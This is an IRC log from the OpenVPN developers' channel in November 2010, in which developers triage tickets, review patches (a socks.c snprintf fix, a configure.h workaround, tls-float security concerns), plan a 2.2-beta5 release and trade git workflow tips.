<@dazo> cron2: have fun and enjoy :) 12:53 <@mattock> bye cron2! 12:54 <@dazo> mattock: ticket #35 would need james eyes as well, as this one needs a broader and deeper discussion 12:54 -!- Busch__ [~Busch@109.73.50.57] has joined #openvpn-devel 12:54 <@mattock> hmm, let's see if James is lurking in Skype 12:54 <@mattock> he has not read his emails today 12:55 <@mattock> that man can be hard to reach :) 12:56 <@mattock> no, not on skype 12:57 <@dazo> okay, next week then 12:57 <@mattock> I'll try to reach him via Andrew... what about this then: 12:57 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/4106 12:57 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:57 < krzee> dazo, do you think #35 could be part of why FAST links get degraded throughput? 12:57 <@dazo> the new feature (--tls-float), here I'd like to hear more thoughts from more people 12:58 -!- Busch_ [~Busch@74.117.157.223] has quit [Ping timeout: 264 seconds] 12:58 < krzee> or is that a matter of the tuntap device as i have previously been stating to users 12:58 <@dazo> krzee: yes, indeed ... but I know too little about the default values of socket buffers 12:58 < krzee> oh cool 13:00 <@dazo> krzee: that kind of states how much data to keep in kernel space before something really needs to be done with the data, IIRC 13:01 <@dazo> which means, having it too high or too little can impact the performance ... and it may depend on available resources on the box as well 13:01 < krzee> the user reported a 25MB file of what seems to be network swapfile 13:01 <@dazo> kernel memory is usually more restricted than what user space needs 13:01 < krzee> which seems a great explanation of why FAST links get such degraded performance 13:01 <@dazo> what user space *is* 13:02 -!- Busch [~Busch@109.73.50.57] has joined #openvpn-devel 13:03 <@dazo> yeah, if it's emptied too fast ... that can really hurt the performance .... but if it takes too long before something is happening with the buffer, due to the kernel wanting to fill it up more, then you have the side-effect of having a too big buffer 13:03 < krzee> i see 13:03 * dazo wonders if this should be a tunable parameter and not hard coded 13:03 < krzee> so if possible by you code ninjas maybe it could either be tunable or even adaptive 13:05 <@dazo> tunable is doable .... adaptive will require a lot more research 13:05 <@dazo> as that can be very OS dependent 13:05 -!- Busch__ [~Busch@109.73.50.57] has quit [Ping timeout: 255 seconds] 13:06 < krzee> tunable would be a giant leap for those guys ild assume 13:06 < krzee> hell adaptive could even wait for 3.x 13:06 <@dazo> yeah :) 13:06 <@mattock> so this value can't be obtained/derived from anywhere else? 13:06 <@mattock> a reasonable default, I mean 13:06 < krzee> mattock, a reasonable default is hard-coded currently 13:06 <@dazo> There's always a default ... but this code obviously came with this hard coding into the code for a reason 13:07 < krzee> but the reasonable default isnt good for guys with FAST links 13:07 <@mattock> in any case I think tunable value would make sense 13:07 < krzee> yep, definitely worth the ninjas looking into ;] 13:08 < krzee> so is this one basically on hold til james can say why its hardcoded? 13:08 <@mattock> +1 13:08 <@dazo> Yeah, at least we shouldn't implement anything before we know more his view of it 13:09 <@mattock> what about floating tls, then? 13:09 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/4106 13:09 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:09 <@mattock> any security implications? 13:09 <@mattock> sounds really neat 13:09 <@dazo> mattock: that one is also one I'd like to see James response to ... as I sense there might be some security issues here 13:10 <@mattock> me too 13:10 <@dazo> theoretically, it makes it easier to hijack a session ... but I didn't catch how big the number replacing the IP address is and how that number is "generated" 13:11 <@mattock> also, the patch is pretty big... needs thorough review 13:11 <@dazo> anyhow ... this patch enables it by default and it's a compile time directive .... I'm not sure I like that 13:12 < krzee> i know i would never want that option on one of my machines, makes me uncomfy for the reasons dazo said 13:14 <@mattock> ok, how about this: 13:15 <@mattock> - ask james and mailing list if anyone can see any serious (security) issues with this 13:15 <@mattock> - if not, ask the author if he/she is willing to maintain this functionality and make it opt-in 13:15 <@dazo> ACK 13:16 <@mattock> ok, then the last topic on the list 13:16 <@mattock> https://community.openvpn.net/openvpn/ticket/8 13:16 <@vpnHelper> Title: #8 (MacOSX Keychain Certificate support) – OpenVPN Community (at community.openvpn.net) 13:16 <@dazo> ecrist: ^^^ you around? 13:17 < krzee> sorry ive been so distant lately, i should be testing that 13:17 <@mattock> so, as promised, I asked people on tunnelblick-discuss about this 13:17 <@mattock> checked the responses today... 1 response, the guy said he'd test it, but no test results 13:18 <@mattock> I'm guessing OSX is somewhere between Windows and Linux in difficulty of building openvpn... more on the *NIX side though 13:18 <@mattock> so lack of testers might not mean lack of users 13:18 <@mattock> ... of this feature 13:18 < krzee> as far as user experience, it is as easy to compile as any OS can be 13:19 < krzee> just make install clean and done 13:19 <@mattock> ok 13:19 <@mattock> krzee: can you test that feature soon? 13:20 < krzee> hopefully 13:20 <@mattock> dazo: how thorough testing do you want? 13:20 < krzee> ive been working my butt off lately... didnt sleep last night just coded away on my scripts 13:20 <@mattock> krzee: take your time, no hurry 13:20 <@dazo> mattock: that it works and don't rock the stability 13:20 < krzee> now im at work still coding on them (and talking here of course) 13:21 <@dazo> both in situations where this feature is used/configured and where it is not configured (ie - old behaviour) 13:21 <@mattock> dazo: a little more than a smoke-test 13:21 <@mattock> ? 13:21 <@dazo> yeah 13:21 <@mattock> ok 13:21 <@mattock> if there's nothing else on this, I suggest a new topic... "Status of new python build system" 13:21 <@mattock> mostly monologue from me :) 13:22 < krzee> fire away 13:22 <@dazo> shoot! I also wonder about 2.2-beta4 13:22 <@mattock> dazo: me too 13:22 <@mattock> anyways, python build system 13:22 <@dazo> hahaha .... the socket buffer size stuff ... *is tunable* .... --rcvbuf and --sndbuf 13:23 <@dazo> default is 64KB 13:23 <@dazo> (on non-windows) 13:23 * dazo just tracked it down in the code 13:24 < krzee> ohhh lol i recently saw someone mention that (maybe on the forum?) but didnt connect the dots 13:24 < krzee> would be interesting to hear if that fixes the issue for the user 13:24 <@mattock> Python buildsystem for Windows in a nutshell: building openvpn.exe works, and apparently building (and signing?) the TAP driver 13:25 <@mattock> however, building the openvpn service (openvpnserv.exe) does not yet, the makefile (msvc.in.mak) is still missing it 13:25 <@mattock> also, the NSI installer generation is still missing 13:26 <@mattock> I've been migrating the NSI stuff to the new build system, fixing various issues with it (more patches coming) and adding openvpnserv.exe stuff to msvc.in.mak 13:26 <@mattock> in any case, it's a bigger task I anticipated 13:26 <@dazo> mattock: but doesn't james use this to build his binaries? or is there some stuff he has not shared with us? 13:26 <@mattock> it's clear James has not used the Python build system all by itself 13:27 <@dazo> krzee: the ticket reporter is an anonymous person for us :( 13:27 <@mattock> he's probably been using it in conjunction with the old one 13:27 <@dazo> yeah 13:27 <@dazo> grrr 13:27 <@dazo> mattock: how much effort is it to fill the last gaps? 13:27 <@mattock> hard to tell... I'd estimate 2-5 workdays 13:28 <@dazo> I'd like to see us independent of james, especially when we're starting on the 2.3 cycle 13:28 <@dazo> okay, it's not *that* bad ... it's not easy, but hard enough 13:28 <@mattock> yep, we could then do more frequent, unofficial "snapshot" releases on Windows, too 13:28 <@dazo> exactly 13:29 <@mattock> the only issue is the TAP driver which needs to be signed with a MS-approved certificate pair 13:29 <@mattock> for Vista/7 64bit 13:29 <@mattock> but if the TAP driver does not change often, that's not an issue 13:29 <@dazo> that's fair enough ... we don't need to build the TAP driver as often 13:30 <@dazo> our build scripts just need to wrap in the precompiled binary 13:30 <@mattock> anyways, I'm pretty confident the build system is 100% functional by the end of the year 13:30 <@dazo> sounds good! :) 13:31 <@mattock> not too many pieces missing 13:31 <@mattock> dazo: did you notice the Visual Studio C compiler error about SOCKS auth I pasted here? 13:31 <@dazo> mattock: I saw it before I went for a meeting .... and forgot about it :) 13:31 < krzee> dazo, if a request for people with throughput issues on FAST links goes to the maillist i bet people will bite 13:32 <@mattock> ok, just for reference: socks.obj : error LNK2019: unresolved external symbol _snprintf referenced in function _socks_username_password_auth 13:32 <@mattock> seems related to the new stuff in beta2.2 13:33 <@dazo> mattock: that's odd ... 13:33 <@mattock> dazo: could you clarify... is https://community.openvpn.net/openvpn/ticket/35 a non-issue (configurable)? 13:33 <@vpnHelper> Title: #35 (No magic limitation on socket size) – OpenVPN Community (at community.openvpn.net) 13:34 <@dazo> mattock: will update ticket 13:34 <@mattock> ok, thanks! 13:36 -!- Busch [~Busch@109.73.50.57] has quit [Quit: Leaving] 13:36 <@dazo> mattock: I see the issue ... the patch was not using openvpn_snprintf() just snprintf() ... 13:36 * dazo digs a little bit more 13:37 <@dazo> mattock: can you try to just change snprintf() to openvpn_snprintf() on line 124 in socks.c? 13:37 <@mattock> ok, I'll do it right away 13:37 < krzee> re ticket #35, sounds like it (need someone with the same problem to be sure) 13:39 <@mattock> building... 13:40 <@mattock> ok, built just fine without an error 13:40 <@mattock> pathc? 13:40 <@mattock> oops... patch? 13:40 <@dazo> yes please :) 13:40 <@dazo> Send it to the ML and I'll ACK it immediately 13:40 <@mattock> one more thing I noticed today... 13:40 <@mattock> or rather, was pondering 13:41 * dazo see that we now do need a beta5 ... again, just because of windows crap :-P 13:41 <@mattock> is this acceptable (in options.c): 13:41 <@mattock> #ifndef _MSC_VER 13:41 <@mattock> #include configure.h 13:41 <@mattock> #endif 13:41 <@mattock> without something like this build fails (again) 13:42 <@mattock> but _if_ one is using MSVC with the old build system, this will probably break his build 13:42 <@dazo> How old is old? 13:42 <@mattock> that detects the compiler 13:42 <@mattock> I mean the one James is using :D 13:42 <@mattock> in reality 13:43 <@mattock> so, to put it in other words... it will (probably) break all autoconf/configure/make builds which use Visual Studio for compiler 13:44 <@mattock> and I'm worried that "use of Visual Studio C compiler" != "user of the new build system" 13:44 <@dazo> I see 13:44 <@mattock> so, any suggestions how to workaround this are welcome :) 13:44 <@mattock> I _could_ generate an empty configure.h file in the Python code... but that's pretty nasty 13:45 <@dazo> well, if the user is using autoconf with VC compiler .... that would normally mean that autoconf stuff is from a cygwin or msys environment, right? 13:46 <@dazo> which possibly have {g,}awk available, right? 13:46 <@mattock> probably I guess 13:46 <@dazo> if so, then your #ifndef _MSC_VER should not be risky at all 13:47 <@mattock> you mean awking our way out of this? ;) 13:47 <@dazo> nope :) 13:47 <@dazo> the autotools stuff uses awk to generate configure.h 13:48 <@dazo> so if built via autotools, you should normally have configure.h ... and if you're building via python, you would not .... however! 13:48 <@dazo> python could generate configure.h with some useful build time options ... so that openvpn --version would show how it was built 13:49 <@dazo> F.ex: 13:49 <@dazo> #define CONFIGURE_CALL " $ ./configure CFLAGS=-Wall" 13:49 <@dazo> that's one example 13:49 <@dazo> but it could for python #define CONFIGURE_CALL to something which makes more sense for the python build env 13:49 <@dazo> mattock: do you follow? 13:50 <@mattock> yeah 13:50 <@mattock> makes sense 13:50 <@dazo> configure.h is generated anyway ... so of python scripts generates it, it's nothing bad about that 13:50 <@mattock> perhaps that's the best solution... it also removes the need for my earlier patch related to "openvpn --version" (which uses CONFIGURE_CALL etc) 13:51 <@dazo> nah, that's not bad to have ... I expected CONFIGURE_CALL to always be present ... and that's a bit cheeky of me, so your patch there is fine 13:51 <@dazo> (CONFIGURE_CALL is not strictly needed, it's a convenience string for debuggin) 13:52 <@mattock> I'm not emotionally attached to that patch, so we can remove it if it makes sense :) 13:52 <@dazo> NACK ;-) 13:52 <@dazo> it's your first openvpn patch .... you *should* be emotional to that one ;-) 13:52 <@dazo> (at least the first I've added into the git tree :)) 13:53 <@mattock> ok ;) 13:54 <@mattock> one more thing... I got tons of commits in my git tree and this sprintf commit is at HEAD... how can I generate a patch that does not pull all of the other crap with it? 13:54 <@mattock> am I just too tired? :) 13:55 <@dazo> mattock: can you pastebin 'git status'? 13:55 * dazo is not sure he understands exactly what mattock says 13:55 <@dazo> ahh ... you have more changes to your tree? 13:55 <@mattock> ok, so I've committed stuff to my local repo... and this socks.c fix is on the top (HEAD) 13:55 <@mattock> yep 13:56 <@mattock> many, many commits 13:56 <@dazo> git format-patch HEAD~1 .... that take only the last commit 13:56 <@mattock> ok 13:56 <@mattock> ok, I _was_ too tired 13:56 <@mattock> thanks dazo! 13:57 <@dazo> no worries :) 13:57 <@mattock> care to review before I send it: http://pastie.org/1326277 13:57 <@dazo> sure 13:58 <@dazo> looks fine .... but would you mind doing this and recreate your patch? 13:58 <@dazo> git commit -s --amend 13:58 <@dazo> and just save it 13:58 <@dazo> and the git format-patch HEAD ~1 13:59 <@mattock> ok 13:59 * dazo likes to see those "Signed-off-by: " lines in the commit messages .... which is added by 'git commit -s' 14:00 <@mattock> ok, now it's the same expect for the Signed-off 14:00 <@mattock> I'll send it to -devel 14:00 <@dazo> perfect! 14:01 * dazo fires up thunderbird 14:02 <@mattock> tested building on Ubuntu - did not break anything 14:02 <@mattock> probably openvpn_sprintf is there because of Windows and/or unstandard sprintf behavior 14:04 <@mattock> anyways, I'll fix the "configure.h" issue tomorrow and send in another patch 14:05 <@mattock> unless there's anything else, let's call this a day 14:06 <@mattock> I'll write the summary tomorrow 14:07 <@mattock> and if anybody sees James here, bombard him with questions about 2.2-beta4 :D 14:08 <@mattock> ok, me go now, good night! 14:10 <@dazo> g'night 14:10 <@dazo> mattock: we probably need to spin a beta5 now ... with your last patch, as it fixes VC building 14:10 <@mattock> argh... should have kept the patch private :) 14:11 <@dazo> heh :) 14:11 <@dazo> well, this won't happen when we can really test our own windows builds better as well 14:11 <@mattock> yep 14:11 <@mattock> can you regenerate the tarballs and (re)mail james? 14:12 <@dazo> I'll do that 14:12 <@mattock> ok, excellent 14:12 <@mattock> we definitely need to improve our release times... we've skipped quite a few betas already...3 out of 5 if I counted correctly :) 14:13 <@cron2> +1 :) 14:13 <@dazo> heh ... yeah :) 14:13 <@mattock> maybe we're just developing too fast 14:13 <@dazo> and all of these skips just because of Windows troubles 14:13 <@mattock> hmm, yes... 14:13 <@dazo> we should consider stop supporting windows :-p 14:14 <@mattock> that would work 14:14 <@dazo> :) 14:15 <@mattock> anyways, good night guys, got to go! 14:15 <@mattock> see you tomorrow! 14:16 <@dazo> c'ya 14:47 <@dazo> mattock: mail sent and git tree updated with 2.2-beta5 15:30 <@mattock> james has been swamped as usual - he just sent me mail 15:30 <@mattock> I notified him of the two patches that need his review 15:49 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 265 seconds] 16:47 -!- dazo is now known as dazo_afk --- Day changed Fri Nov 26 2010 01:30 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:24 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:04 -!- dazo_afk is now known as dazo 04:09 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: Connection reset by peer] 04:09 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 04:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:35 <@mattock1> summary sent 05:05 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 05:20 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:32 < ecrist> dazo: no, not around. Thanksgiving Day here in the states 06:33 < ecrist> I was about 200 miles north of home, and about 100 miles from a cell tower it seems 06:40 <@dazo> ahh! I forgot that :) 06:42 < ecrist> today is another relaxing day. I don't plan on doing much of anything. I'll probably get around to testing that mac os x patch, though. 06:42 < ecrist> I should go find some breakfast, first. 06:43 < ecrist> 0600 here now... 06:43 <@dazo> gee ... you're up way too early! ;-) 06:43 < ecrist> especially for a day off! 07:17 <@mattock1> dazo: I was wondering if we should tag the releases (in Git) only _after_ the release 07:17 <@mattock1> from now on 07:18 <@mattock1> I mean, wouldn't that avoid having to move to next beta (e.g. beta4 -> beta5) due to a small change introduced prior to release? 07:18 <@dazo> well, technically that's doable .... or at least *after* all supported platforms have had a compile test 07:19 <@dazo> but I agree that the current situation is not good 07:20 <@dazo> I just find it good that when we ship a source tarball for distribution/final compilation that it is as close as possible to the tag ... and tagging and then doing make distcheck/dist-zip makes you pretty sure the tag and the tarball are as identical as possible 07:22 <@dazo> I've also been thinking if we could make a little script which could checksum the whole source code in a good way (each file or as a compound of files) ... and that checksum can be validated in the tag 07:23 <@dazo> I'm using signed git tags for such releases, which means the git commits making up that tag + the tag comment are signed with GPG ... but that doesn't mean the tarball can be modified afterwards - I mean between I send it and James gets it and signs it 07:24 <@mattock1> yeah, true 07:24 <@mattock1> anyways, this should become a non-issue once the release process becomes smoother 07:25 <@dazo> well, not a non-issue - as long as there are more people involved ... but less of an issue, that's true 07:26 <@mattock1> btw. the configure.h patch is almost ready 07:27 <@mattock1> as in ~15 mins 07:27 <@dazo> cool! 07:32 <@dazo> lol ... it's a pretty funny discussion in Norway now about a mobile network marketing LTE as a 4G network, against ITU's understanding of what really 4G is .... the mobile provider claims that the LTE Advanced which is 4G according to ITU is also based on LTE ... so that the LTE they implement today, is the first generation 4G network 07:33 <@dazo> so they're basically implementing first generation fourth generation mobile network :-P 07:35 <@dazo> then a guy comments ... "LTE is claimed to be 10 times quicker than 3G, but according to which 3G generation? .... is it the second generation 3G they refer to, or is it the first generation 3G? 07:51 -!- Netsplit *.net <-> *.split quits: krzie, agi 07:52 -!- Netsplit over, joins: krzie, agi 07:54 * ecrist goes in search of a beer. 08:39 <@mattock1> yeah, 15 mins :)... had to struggle with messy commit history 08:39 <@mattock1> it's starting to feel like my local git tree is disintegrating :) 08:47 <@mattock1> ok, patch sent 08:48 < ecrist> mattock1: do you guys have an OpenVPN logo I can download somewhere? 08:49 <@mattock1> mmm... what kind of? vector or bitmap? 08:49 < ecrist> bitmap, jpg is fine 08:49 < ecrist> do you folks have a 'press' kit? 08:49 <@mattock1> let me check... 08:49 < ecrist> i.e. images people can use on their websites, in their software, etc? 08:49 <@mattock1> no idea :) 08:49 <@mattock1> I think the best I can do is the one on community 08:50 < ecrist> also, a legal 'thing' which states in what cases it's OK to use OpenVPN logo, and in which cases it's NOT ok? 08:50 <@mattock1> raidz probably knows more, but I doubt he's working right now 08:50 <@mattock1> I don't think we have any of that... but we should 08:50 < ecrist> :) 08:50 <@mattock1> I'll mail Francis about that 08:50 < ecrist> good idea. 08:51 < ecrist> small graphics, too, like site badges, etc, are things some geeks/power users like to put on their website. 09:03 <@dazo> mattock1: if you provide some info about why you think your tree is about to disintegrate, I'll help you out figuring out that :) 09:04 <@mattock1> well, I'd like to know how one is supposed to handle the local commits that become patches 09:05 <@mattock1> as they "come back to you" once they're integrated into the remote repository 09:06 <@dazo> ahh okay :) usually you would use git rebase to fetch upstream changes into your working branches. But I've usually found it less painful to checkout a working branch, do my commits and send patches ... and when patches are accepted, I fork out a new branch when doing other stuff 09:07 <@dazo> that way, I'm able to separate different things I do ... and commits patching different parts won't affect each other so much 09:07 <@dazo> and when patches are accepted upstream and I have them locally, I drop that working branch 09:08 <@dazo> but before sending patches, git rebase against the starting point is always a good idea ... that way you know the patch you send will merge in easier upstream 09:09 <@dazo> wonders if this made sense .... 09:12 < ecrist> it didn't make me want to use git any more... 09:13 <@dazo> heh ... If you want in a centralised world, this may indeed sound scary and heavy ... but in a centralised setup, each developer are much more stringed to the centralised policies 09:15 <@dazo> git isn't centralised .... thus gives each developer the possibility to have full control over what happens and how it happens, no matter how others may do it ... and it's up the maintainer of the official branch who then decides how things will look like in the public tree 09:16 <@dazo> for me, to be able to work on several things in parallel *and* have full separation on the patch series is a core advantage for me ... and I don't need to make my working branches public, I just provide the final patches - get them acked, and they appear in the proper public branches when merged in 09:18 <@dazo> To try to see and understand git as SVN and expect it to work as SVN ... that will just be confusing 09:18 <@mattock1> dazo: it makes sense, but I need to "digest" it a little :) 09:18 <@dazo> mattock1: sure! I completely understand :) 09:18 <@mattock1> well, I learned a few Git tricks today, so I'm on my way to glory :) 09:19 <@dazo> heh :) 09:23 <@mattock1> ecrist: sent mail to francis 09:23 <@mattock1> ok, I call this a day 09:23 <@dazo> mattock1: have good weekend! 09:24 <@mattock1> I'll try :). Not too much free time, though... crazy amount of studies until Christmas 09:24 <@dazo> mattock1: just one question 09:24 <@mattock1> shoot 09:24 <@dazo> the #defines in configure.h ... the values assiged are all on one line? 09:25 <@dazo> (it's just your mailer who wrapped the text?) 09:25 <@mattock1> yep, but it's just a string 09:25 <@dazo> yeah, a very long string ... that's good enough 09:26 <@mattock1> just a sec 09:26 <@mattock1> yeah, it's the mail client 09:26 <@dazo> then it's a good result :) 09:27 <@mattock1> perhaps I should send yet another email explaining this 09:27 <@dazo> nah, no stress 09:27 <@mattock1> ok, let's see if somebody mentions that 09:28 <@dazo> yeah, that's enough 11:59 -!- dazo is now known as dazo_afk 14:12 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has joined #openvpn-devel 14:17 * ecrist searches for that mac os X patch 14:29 < ecrist> ping dazo 14:29 < dazo_h> ecrist: I'm looking up that patch now 14:30 < ecrist> I found it 14:30 < ecrist> the problem is, it doesn't apply cleaning to most recent git snapshot 14:30 < dazo_h> aha 14:30 < dazo_h> hmmm ... let me check it out 14:30 < ecrist> http://openvpn.pastebin.ca/2003191 14:31 < dazo_h> can you pastebin Makefile.am.rej and configure.ac.rej? 14:31 < ecrist> what about openvpn.8.rej? 14:32 < dazo_h> that's just the man page 14:32 < dazo_h> that won't make comiling fail :) 14:32 < ecrist> http://openvpn.pastebin.ca/2003197 14:33 < ecrist> if that's not useful, I'll separate them out 14:33 < dazo_h> no problem ... that worked 14:34 < dazo_h> I'll quickly rebase this patch for you against allmerged 14:34 < ecrist> w00t 14:40 < ecrist> fwiw, I was using the second patch, not the first. 14:40 < dazo_h> yeah, and that's the right one 14:41 < dazo_h> I'm almost done with the patch conflict now 14:45 < dazo_h> ecrist: http://openvpn.pastebin.ca/2003207 ... this should go cleanly against allmerged 14:47 < dazo_h> eek .... 14:47 < dazo_h> I forgot some files 14:47 < ecrist> patch: **** malformed patch at line 215: @@ -6057,6 +6084,13 @@ add_option (struct options *options, 14:47 < dazo_h> ehh? ... hmmm 14:48 < dazo_h> ecrist: I'll prepare a better download of this patch ... copy-paste probably failed 14:48 < ecrist> hunk 1 2 and 3 were all off by -1 lines, but that's no biggie. 14:48 < ecrist> ok 14:49 < dazo_h> you did reset your source tree before trying to apply this patch? 14:49 < ecrist> if you do, and I get it to compile, I'll create a snapshot that includes it 14:49 < ecrist> yes 14:49 < ecrist> rm -rf openvpn-devel && tar -xzvf openvpn-devel-201046.tar.gz 14:49 < ecrist> :) 14:49 < dazo_h> well, I have no chance to compile this part on a non-osx box ;-) 14:49 < dazo_h> ahh, yeah ... that's a hard reset :) 15:00 < ecrist> blast, I need to download XCode tools 15:03 < dazo_h> really? 15:07 < ecrist> yes 15:08 < ecrist> mac doesn't include a compiler, by default. 15:08 < ecrist> I need xcode for some other projects, so I'll just download it 15:08 < ecrist> fudge. 3.52GB 15:09 < dazo_h> aha ... quite a download 16:21 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Read error: Operation timed out] 16:44 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has quit [Quit: Leaving] 19:46 < ecrist> whooohoo, 3.49Gb of 3.52Gb downloaded 19:47 < krzie> wow you didnt have xcode? 19:47 < krzie> i keep it on my install usb stick 19:48 < ecrist> no, not on this mac. 19:48 < ecrist> new MBP in June 19:48 < ecrist> most of my dev stuff is done on a FreeBSD box 20:07 < ecrist> sheesh, 9.54GB of installed *shit^H^H^Htuff* --- Day changed Sat Nov 27 2010 00:51 < krzie> cant wait til my ssd comes 00:52 < krzie> got the kit, gunna remove my dvd drive and make it external, add a ssd for the OS/apps 00:53 < krzie> gunna make a ram-drive of my 8gb and use it for temp stuffs for security (definite erase on reboot) and to extend the life of the ssd 03:19 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:38 -!- helmut_ [helmut@subdivi.de] has joined #openvpn-devel 12:38 -!- helmut [helmut@subdivi.de] has quit [Disconnected by services] 12:38 -!- helmut_ is now known as helmut 12:39 -!- raidzxx [~Andrew@2002:adc0:e0ad::adc0:e0ad] has joined #openvpn-devel 12:39 -!- krzy [~k@ftp.secure-computing.net] has joined #openvpn-devel 12:39 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 272 seconds] 12:39 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 12:39 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 12:40 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Ping timeout: 240 seconds] 12:58 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 13:00 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:05 -!- raidzxx [~Andrew@2002:adc0:e0ad::adc0:e0ad] has quit [Read error: Connection reset by peer] 13:05 -!- krzy [~k@ftp.secure-computing.net] has quit [Write error: Connection reset by peer] 13:36 -!- raidz [~Andrew@seance.openvpn.org] has joined #openvpn-devel 13:36 -!- raidz [~Andrew@seance.openvpn.org] has quit [Changing host] 13:36 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:36 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:39 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Ping timeout: 245 seconds] 15:35 -!- common [~common@p5DDA40AC.dip0.t-ipconnect.de] has joined #openvpn-devel 15:35 < common> hi 15:36 < common> I just wanted to know whom to talk to to get this merged: http://article.gmane.org/gmane.network.openvpn.devel/4185 15:36 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 15:36 < ecrist> dazo_afk: ^^^^ --- Day changed Sun Nov 28 2010 01:15 < krzie> hey nice patch 01:15 < krzie> a guy on the forum will love you 01:37 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 01:40 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 01:41 < krzie> https://forums.openvpn.net/viewtopic.php?f=4&t=7173&p=8562#p8562 01:41 <@vpnHelper> Title: OpenVPN Support Forum View topic - draft HOWTO "Use a Windows CA with OpenVPN" (at forums.openvpn.net) 01:41 < krzie> he wanted that patch 03:58 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 03:59 -!- nebzz [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 04:01 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 272 seconds] 04:01 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 04:01 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 240 seconds] 04:01 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 240 seconds] 04:02 -!- EvilJStoker_ is now known as EvilJStoker 04:04 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 04:19 -!- common [~common@p5DDA40AC.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds] 04:21 -!- common [~common@p5DDA46F0.dip0.t-ipconnect.de] has joined #openvpn-devel 06:28 < common> actually we do not have a windows ca 06:28 < common> just to defend myself 06:46 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 06:55 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 06:55 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 08:21 -!- helmut [helmut@subdivi.de] has quit [Ping timeout: 265 seconds] 08:21 -!- helmut_ [helmut@subdivi.de] has joined #openvpn-devel 08:24 < common> krzee: whom to refer to to get this patch merged? 09:10 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 245 seconds] 09:39 < ecrist> common: I already referred you. it's the weekend, wait a while 10:25 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 11:01 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 11:22 < common> k 11:23 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 13:10 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:21 -!- krzie [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:51 < krzee> common, when you see dazo_afk change his name to dazo, its him 14:51 < common> k 14:51 < common> the new openvpn gui 14:52 < common> which uses the management interface 14:52 < common> is there a repo? 14:52 < common> or a place to download? 14:55 < krzee> thw windows gui? (management interface is not part of any gui i know of) 14:56 < krzee> but everything that is opensource openvpn is in the repo's in the topic 14:59 < common> didn't you say there was a new gui for windows which uses the management interface to have the gui communicate with the service? 15:01 < krzee> oh cool i didnt know the new gui did that 15:01 < common> where is the "new gui"? 15:01 < krzee> well if it does, that would be in the new beta 15:01 < common> the beta still has the openvpn.se gui from 2005 15:01 < krzee> !download 15:01 <@vpnHelper> krzee: Error: "download" is not a valid command. 15:02 < krzee> then you can try the testing snapshot, but i think the beta has the newest gui that is out 15:02 < krzee> and you asked if *i* said there is a new gui that uses management interface, i did not 15:02 < krzee> but if it exists i think thats cool :) 15:03 < common> < ecrist> common: there is a new openvpn gui, I think it's packaged with 2.2-beta3 15:03 < krzee> ahh 15:03 < common> right, I failed 15:07 < common> you know anything about this new gui? 15:07 < krzee> nope 15:07 < krzee> i dont use gui or windows 15:07 < common> I'm pretty confident it is not in git 15:07 < common> me neither, but ... 'it is a requirement' 15:09 < krzee> just stick around, when you talk to them about including your patch, it will be a good time to ask about that ;] 15:09 < common> got this screen anyway, so does not really hurt at all 15:09 < krzee> =] 15:10 < common> btw, did I already mention openvpn is great software? 15:10 < common> most people come to the chat to complain about their inability to read docs, so there is little love towards the devs 15:10 < common> but openvpn is just great 15:10 < common> really fills a gap 15:10 < common> and works great 15:31 < krzee> i agree 15:38 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] 16:32 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 19:01 * ecrist hates being quotes. 